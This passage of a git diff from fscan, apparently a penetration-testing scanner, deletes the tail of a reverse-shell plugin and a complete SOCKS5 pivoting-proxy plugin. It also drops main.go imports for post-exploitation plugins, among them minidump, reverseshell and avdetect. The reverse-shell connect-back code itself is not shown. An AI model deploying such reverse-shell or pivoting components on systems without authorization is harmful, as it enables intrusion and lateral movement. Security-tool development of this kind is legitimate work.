return fmt.Sprintf("错误: %v\n%s", err, string(output))
}
return string(output)
}
// getCurrentDir 获取当前目录
func getCurrentDir() string {
dir, err := os.Getwd()
if err != nil {
return "unknown"
}
return dir
}
// GetLocalData 获取反弹Shell本地数据
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "reverseshell"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["target"] = p.target
data["implementation"] = "go_native"
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// GetInfo 获取插件信息
func (p *ReverseShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
return info.String()
}
// RegisterReverseShellPlugin 注册反弹Shell插件
func RegisterReverseShellPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "reverseshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local",
Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewReverseShellPlugin()
},
)
base.GlobalPluginRegistry.Register("reverseshell", factory)
}
// init 插件注册函数
func init() {
RegisterReverseShellPlugin()
}

View File

@ -1,436 +0,0 @@
package socks5proxy
import (
"context"
"fmt"
"io"
"net"
"os"
"runtime"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// Socks5ProxyPlugin SOCKS5代理插件
type Socks5ProxyPlugin struct {
*local.BaseLocalPlugin
connector *Socks5ProxyConnector
port int
listener net.Listener
}
// Socks5ProxyConnector SOCKS5代理连接器
type Socks5ProxyConnector struct {
*local.BaseLocalConnector
port int
}
// Socks5ProxyConnection SOCKS5代理连接对象
type Socks5ProxyConnection struct {
*local.LocalConnection
Port int
}
// NewSocks5ProxyPlugin 创建SOCKS5代理插件
func NewSocks5ProxyPlugin() *Socks5ProxyPlugin {
// 从全局参数获取SOCKS5端口
port := common.Socks5ProxyPort
if port <= 0 {
port = 1080 // 默认端口
}
metadata := &base.PluginMetadata{
Name: "socks5proxy",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地SOCKS5代理服务器插件支持HTTP/HTTPS代理",
Category: "local",
Tags: []string{"local", "proxy", "socks5", "network"},
Protocols: []string{"local"},
}
connector := NewSocks5ProxyConnector(port)
plugin := &Socks5ProxyPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
port: port,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// NewSocks5ProxyConnector 创建SOCKS5代理连接器
func NewSocks5ProxyConnector(port int) *Socks5ProxyConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &Socks5ProxyConnector{
BaseLocalConnector: baseConnector,
port: port,
}
}
// Connect 建立SOCKS5代理连接
func (c *Socks5ProxyConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// 检查端口是否可用
testListener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", c.port))
if err != nil {
return nil, fmt.Errorf("端口 %d 不可用: %v", c.port, err)
}
testListener.Close() // 立即关闭测试监听器
socks5Conn := &Socks5ProxyConnection{
LocalConnection: baseConn,
Port: c.port,
}
return socks5Conn, nil
}
// Close 关闭SOCKS5代理连接
func (c *Socks5ProxyConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行SOCKS5代理扫描 - 启动代理服务器
func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动SOCKS5代理服务器...")
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
socks5Conn := conn.(*Socks5ProxyConnection)
// 启动SOCKS5代理服务器
common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", socks5Conn.Port))
// 直接在当前goroutine中运行这样可以确保在设置Socks5ProxyActive后立即被主程序检测到
err = p.startSocks5Server(ctx, socks5Conn.Port)
if err != nil {
common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "SOCKS5Proxy",
Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", socks5Conn.Port, runtime.GOOS),
Extra: map[string]interface{}{
"port": socks5Conn.Port,
"platform": runtime.GOOS,
"protocol": "socks5",
"status": "completed",
},
}
return result, nil
}
// startSocks5Server 启动SOCKS5代理服务器 - 核心实现
func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int) error {
// 监听指定端口
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", port))
if err != nil {
return fmt.Errorf("监听端口失败: %v", err)
}
defer listener.Close()
p.listener = listener
common.LogSuccess(fmt.Sprintf("SOCKS5代理服务器已在 127.0.0.1:%d 上启动", port))
// 设置SOCKS5代理为活跃状态告诉主程序保持运行
common.Socks5ProxyActive = true
defer func() {
// 确保退出时清除活跃状态
common.Socks5ProxyActive = false
}()
// 主循环处理连接
for {
select {
case <-ctx.Done():
common.LogBase("SOCKS5代理服务器被上下文取消")
return ctx.Err()
default:
}
// 设置监听器超时,以便能响应上下文取消
if tcpListener, ok := listener.(*net.TCPListener); ok {
tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
}
conn, err := listener.Accept()
if err != nil {
// 检查是否是超时错误
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
continue // 超时继续循环
}
common.LogError(fmt.Sprintf("接受连接失败: %v", err))
continue
}
// 并发处理客户端连接
go p.handleClient(conn)
}
}
// handleClient 处理客户端连接
func (p *Socks5ProxyPlugin) handleClient(clientConn net.Conn) {
defer clientConn.Close()
// SOCKS5握手阶段
if err := p.handleSocks5Handshake(clientConn); err != nil {
common.LogError(fmt.Sprintf("SOCKS5握手失败: %v", err))
return
}
// SOCKS5请求阶段
targetConn, err := p.handleSocks5Request(clientConn)
if err != nil {
common.LogError(fmt.Sprintf("SOCKS5请求处理失败: %v", err))
return
}
defer targetConn.Close()
common.LogSuccess("建立SOCKS5代理连接")
// 双向数据转发
p.relayData(clientConn, targetConn)
}
// handleSocks5Handshake 处理SOCKS5握手
func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
// 读取客户端握手请求
buffer := make([]byte, 256)
n, err := conn.Read(buffer)
if err != nil {
return fmt.Errorf("读取握手请求失败: %v", err)
}
if n < 3 || buffer[0] != 0x05 { // SOCKS版本必须是5
return fmt.Errorf("不支持的SOCKS版本")
}
// 发送握手响应(无认证)
response := []byte{0x05, 0x00} // 版本5无认证
_, err = conn.Write(response)
if err != nil {
return fmt.Errorf("发送握手响应失败: %v", err)
}
return nil
}
// handleSocks5Request 处理SOCKS5连接请求
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, error) {
// 读取连接请求
buffer := make([]byte, 256)
n, err := clientConn.Read(buffer)
if err != nil {
return nil, fmt.Errorf("读取连接请求失败: %v", err)
}
if n < 7 || buffer[0] != 0x05 {
return nil, fmt.Errorf("无效的SOCKS5请求")
}
cmd := buffer[1]
if cmd != 0x01 { // 只支持CONNECT命令
// 发送不支持的命令响应
response := []byte{0x05, 0x07, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
clientConn.Write(response)
return nil, fmt.Errorf("不支持的命令: %d", cmd)
}
// 解析目标地址
addrType := buffer[3]
var targetHost string
var targetPort int
switch addrType {
case 0x01: // IPv4
if n < 10 {
return nil, fmt.Errorf("IPv4地址格式错误")
}
targetHost = fmt.Sprintf("%d.%d.%d.%d", buffer[4], buffer[5], buffer[6], buffer[7])
targetPort = int(buffer[8])<<8 + int(buffer[9])
case 0x03: // 域名
if n < 5 {
return nil, fmt.Errorf("域名格式错误")
}
domainLen := int(buffer[4])
if n < 5+domainLen+2 {
return nil, fmt.Errorf("域名长度错误")
}
targetHost = string(buffer[5 : 5+domainLen])
targetPort = int(buffer[5+domainLen])<<8 + int(buffer[5+domainLen+1])
case 0x04: // IPv6
if n < 22 {
return nil, fmt.Errorf("IPv6地址格式错误")
}
// IPv6地址解析简化实现
targetHost = net.IP(buffer[4:20]).String()
targetPort = int(buffer[20])<<8 + int(buffer[21])
default:
// 发送不支持的地址类型响应
response := []byte{0x05, 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
clientConn.Write(response)
return nil, fmt.Errorf("不支持的地址类型: %d", addrType)
}
// 连接目标服务器
targetAddr := fmt.Sprintf("%s:%d", targetHost, targetPort)
targetConn, err := net.DialTimeout("tcp", targetAddr, 10*time.Second)
if err != nil {
// 发送连接失败响应
response := []byte{0x05, 0x05, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
clientConn.Write(response)
return nil, fmt.Errorf("连接目标服务器失败: %v", err)
}
// 发送成功响应
response := make([]byte, 10)
response[0] = 0x05 // SOCKS版本
response[1] = 0x00 // 成功
response[2] = 0x00 // 保留
response[3] = 0x01 // IPv4地址类型
// 绑定地址和端口使用127.0.0.1:port
copy(response[4:8], []byte{127, 0, 0, 1})
response[8] = byte(p.port >> 8)
response[9] = byte(p.port & 0xff)
_, err = clientConn.Write(response)
if err != nil {
targetConn.Close()
return nil, fmt.Errorf("发送成功响应失败: %v", err)
}
common.LogDebug(fmt.Sprintf("建立代理连接: %s", targetAddr))
return targetConn, nil
}
// relayData 双向数据转发
func (p *Socks5ProxyPlugin) relayData(clientConn, targetConn net.Conn) {
done := make(chan struct{}, 2)
// 客户端到目标服务器
go func() {
defer func() { done <- struct{}{} }()
io.Copy(targetConn, clientConn)
targetConn.Close()
}()
// 目标服务器到客户端
go func() {
defer func() { done <- struct{}{} }()
io.Copy(clientConn, targetConn)
clientConn.Close()
}()
// 等待其中一个方向完成
<-done
}
// GetLocalData 获取SOCKS5代理本地数据
func (p *Socks5ProxyPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "socks5proxy"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["port"] = p.port
data["protocol"] = "socks5"
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取数据SOCKS5代理主要是服务功能
func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("SOCKS5代理服务器运行完成端口: %d", p.port),
Data: data,
Extra: map[string]interface{}{
"port": p.port,
"protocol": "socks5",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *Socks5ProxyPlugin) GetInfo() string {
var info strings.Builder
info.WriteString(fmt.Sprintf("SOCKS5代理插件 - 端口: %d\n", p.port))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("协议: SOCKS5支持HTTP/HTTPS代理\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
return info.String()
}
// RegisterSocks5ProxyPlugin 注册SOCKS5代理插件
func RegisterSocks5ProxyPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "socks5proxy",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地SOCKS5代理服务器插件支持HTTP/HTTPS代理",
Category: "local",
Tags: []string{"socks5proxy", "local", "proxy", "network"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewSocks5ProxyPlugin()
},
)
base.GlobalPluginRegistry.Register("socks5proxy", factory)
}
// init 插件注册函数
func init() {
RegisterSocks5ProxyPlugin()
}

10
main.go
View File

@ -6,14 +6,6 @@ import (
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/core"
// 引入本地插件以触发注册
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo"
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo"
_ "github.com/shadow1ng/fscan/plugins/local/minidump"
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell"
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy"
_ "github.com/shadow1ng/fscan/plugins/local/avdetect"
)
func main() {
@ -36,5 +28,5 @@ func main() {
defer common.CloseOutput()
// 执行 CLI 扫描逻辑
core.RunScan(Info)
core.Scan(Info)
}